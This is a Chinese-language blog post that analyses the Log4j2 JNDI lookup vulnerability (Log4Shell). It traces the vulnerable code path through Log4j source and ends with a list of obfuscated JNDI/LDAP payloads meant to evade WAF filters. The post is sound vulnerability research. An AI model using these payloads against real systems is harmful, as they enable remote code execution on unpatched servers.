前言
其实我总感觉这应该不属于漏洞,应该是他们的正常功能,只不过恰好可以被当成漏洞来用
https://logging.apache.org/log4j/log4j-2.7/manual/lookups.html#JndiLookup
官网也有相关的介绍,虽然这些是写到配置文件里面的
前期配置
pom.xml
1 | <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --> |
trustURLCodebase
因为漏洞核心是lookup参数可控,那么就属于jndi注入,需要低版本jdk,或者开启trustURLCodebase1
2System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", String.valueOf(true));
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", String.valueOf(true));
当然也可以利用本地gadget,这属于jndi注入的知识,这里不做过多讨论
漏洞代码
1 | import org.apache.logging.log4j.LogManager; |
漏洞分析
调用栈
1 | lookup:417, InitialContext (javax.naming) |
MessagePatternConverter
从format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
开始看起1
2
3
4
5
6
7for (int i = offset; i < workingBuilder.length() - 1; i++) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
final String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
}
}
分析第二行可以知道,如果遇到${
,就会进入判断语句,而这个workingBuilder和logger.fatal()的参数相关,换句话说,基本上workingBuilder就是logger.fatal()中的参数,只不过类型被转换了一下,原本是String,现在是StringBuilder类。
继续往下走,进入replace1
2
3
4
5
6
7
8
9
10public String replace(final LogEvent event, final String source) {
if (source == null) {
return null;
}
final StringBuilder buf = new StringBuilder(source);
if (!substitute(event, buf, 0, source.length())) {
return source;
}
return buf.toString();
}
来到了漏洞核心点substitue()
substitue
接下来会逐段分析该函数中重要的代码段
在这里会先进行判断,如果在代码中还存在${
,就会进入递归,在里面进行再一次解析,这段先放放,继续往下看
在这里valueDelimiterMatcher是[:,-]
也就是说如果匹配到了:-就会进入循环语句,并进行一次切割处理
比如aaa:-bbb,
前面的aaa会被赋值给varName
后面的值bbb会被赋值给varDefaultValue
接着往下走
先不详细介绍resolveVariable,只需要知道如果是类似前面aaa:-bbb
这样的值没什么特殊意义的值,会直接返回null,那么就会把varDefaultValue赋值给varValue,也就是bbb,而下面的代码大意就是把buf用varValue进行了部分替换
如果payload原本是${jndi:ldap://127.0.0.1/${abc:-exp}loit}
那么就会被替换成${jndi:ldap://127.0.0.1/exploit}
那么回到刚刚开始那个递归的地方
varNameExpr就会被赋值为被替换过的payload接着解析
resolveVariable
接下来重点讲下resolveVariable,这里是触发jndi注入的关键1
2
3
4
5
6
7
8protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
final int startPos, final int endPos) {
final StrLookup resolver = getVariableResolver();
if (resolver == null) {
return null;
}
return resolver.lookup(event, variableName);
}
这里的resolver可以看相关文档
https://logging.apache.org/log4j/log4j-2.7/manual/lookups.html
进入这个lookup中1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28public String lookup(final LogEvent event, String var) {
if (var == null) {
return null;
}
final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
if (prefixPos >= 0) {
final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
final String name = var.substring(prefixPos + 1);
final StrLookup lookup = strLookupMap.get(prefix);
if (lookup instanceof ConfigurationAware) {
((ConfigurationAware) lookup).setConfiguration(configuration);
}
String value = null;
if (lookup != null) {
value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
}
if (value != null) {
return value;
}
var = var.substring(prefixPos + 1);
}
if (defaultLookup != null) {
return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var);
}
return null;
}
因为会去分割:
,那么会根据jndi取出jndi的strLookupMap,最后进行jndi调用
绕waf
他会根据传入的协议取出相对应的lookup,然后调用,那么就可以有如下的绕过手法1
2
3
4
5${${a:-j}ndi:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}
${${a:-j}n${::-d}i:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}
${${lower:jn}di:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}
${${lower:${upper:jn}}di:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}
${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbiAtbmEgQ2FsY3VsYXRvcgo=}